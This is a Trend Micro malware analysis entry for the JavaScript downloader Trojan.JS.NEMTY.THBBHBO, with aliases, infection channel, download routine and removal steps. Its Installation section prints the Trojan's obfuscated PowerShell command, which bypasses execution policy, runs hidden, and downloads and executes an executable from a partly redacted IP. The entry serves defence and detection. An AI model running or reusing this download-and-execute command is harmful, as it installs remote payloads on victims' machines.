Trojan.JS.NEMTY.THBBHBO

March 03, 2020
 Analysis by: Karen Ivy Titiwa
 ALIASES:

TrojanDownloader:Script/Nemucode!MSR (MICROSOFT); Trojan-Downloader.JS.Agent.olc (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

16,805 bytes

File Type:

JS

Memory Resident:

Yes

Initial Samples Received Date:

28 Feb 2020

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • "%System%\cmd.exe" /c hMLWtlbsdHkTjom & Po^wEr^sh^elL.e^Xe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://{BLOCKED}.{BLOCKED}.197.190/nnn.exe','%temp%erb19.exe'); & %temp%erb19.exe & OWNHgawUJSfreRD

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.197.190/nnn.exe

It downloads files from the following URLs then renames them before storage in the affected system:

  • %User Temp%erb19.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

As of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.712.05

FIRST VSAPI PATTERN DATE:

28 Feb 2020

VSAPI OPR PATTERN File:

15.713.00

VSAPI OPR PATTERN Date:

29 Feb 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.JS.NEMTY.THBBHBO

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.NEMTY.THBBHBO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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